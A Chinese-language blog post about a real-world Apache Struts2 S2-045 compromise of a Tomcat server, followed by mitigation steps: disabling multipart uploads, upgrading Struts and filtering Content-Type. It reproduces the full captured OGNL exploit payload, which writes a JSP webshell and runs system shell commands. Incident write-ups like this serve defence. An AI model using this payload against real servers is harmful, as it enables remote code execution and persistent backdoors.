發表於 程式分享

Apache Struts2 S2-045漏洞處理方法

前幾日收到Apache Struts2 S2-045漏洞通知,因其說明如下∶ “使用Struts 2.3.5 、Struts 2.3.31、Struts 2.5~Struts 2.5.10等網站框架的伺服器,都受到駭客可以直接進行遠端執行程式的S2-045漏洞編號影響,可以導致網站資料外洩、被植入木馬程式等風險",而我使用的是2.3.24.1,故當下未太過在意,沒想到網站竟然被攻擊了,看來以後看到重大漏洞,還是需要仔細研究測試才保險。

一開始是同事的系統收到掃毒軟體病毒通知,發現Tomcat Server被植入病毒檔案,我去查我負責的Linux的Tomcat也發現被植入檔案,查看了Tomcat access log也未發現異常的request (以往查到的都是透過HTTP GET指令帶參數,總能由上傳檔案的日期時間比對access log看出端倪),後來只好由被植入的檔案時間查看log4j的log檔,但我並未看到當時有何error,但往前來卻看到了Exception log,然後查到有commons-fileupload-1.3.1.jar的Exception,看起來像是上傳檔案,但我在access log並未看到,其內容有如下訊息∶

%{(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#dns=’multipart/form-data’).(#cache=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#cache):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#cache)))).(#path=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’).getSession().getServletContext().getRealPath(‘/’)).(#shell='<%if(request.getParameter(“f")!=null)(new java.io.FileOutputStream(application.getRealPath(“/")+request.getParameter(“f"))).write(request.getParameter(“t").getBytes());%>’).(new java.io.BufferedWriter(new java.io.FileWriter(#path+’/thes.jsp‘).append(#shell)).close()).(#cmd=’echo Upload successful!’+#path+’/thes.jsp‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash‘,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

google後發現這就是Apache Struts2 S2-045漏洞攻擊,在HTTP header的參數Content-Type放入如上指令struts收到後就會執行如上OGNL表達式指令,上面的指令會在tomcat application目錄下產生thes.jsp執行平台上的cmd.exe(Windows)或bash shell(Linux),最後透過類似的指令可能一層層再後將病毒檔上傳至Server。

因為我並未使用檔案上傳,故我的第一個想法:移除commons-fileupload-1.3.1.jar,讓其不要執行OGNL (我也未使用此表達式)~當時,倒是未想到停用表達式的作法~但此法連Tomcat都啟動不了~

第二個想法就想停用fileupload功能,但並未找到。

第三個想法就是將fileupload可上傳檔案最大 size設定為0,上傳檔案類型設定為空。

此方式設定後,駭客就攻擊失敗了。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC 
 "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" 
 "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
 <constant name="struts.multipart.maxSize" value="0" />
 ...

 <interceptor-ref name="fileUpload">
 <param name="allowedTypes">text/plain</param>
 </interceptor-ref> 
</struts>

後來我就先在測試機升級struts至2.3.32,但網站有些錯誤,查到因action class的欄位變數第1碼是小寫、第2碼大寫getSId()、setSId()會失效,需改成getsId()、setsId()。

@Entity
@Table(name = "TestTbl")
public class TestTbl implements Serializable {
 @Id
 @GeneratedValue(strategy = GenerationType.IDENTITY)
 @Column(name = "sId")
 protected int sId;

 public int getSId() {
 return sId;
 }

 public void setSId(int sId) {
 this.sId = sId;
 }
...
}

我同事因有檔案上傳功能,而且有交易,既不能將上傳檔案最大 size設定為0,也無法當天馬上升級struts至2.3.32,只好試strus.xml設定allowedTypes,但駭客仍然可以用Content Type攻擊,後來參考https://www.waitalone.cn/struts2-045-fix.html加入filter判斷,因當下無法全部確認整個網站用了那些file type,所以調整成判斷Content Type文字長度大於100為非法,但網站上傳的功能就失效,後來只好判斷Content Type的內容了~

發表留言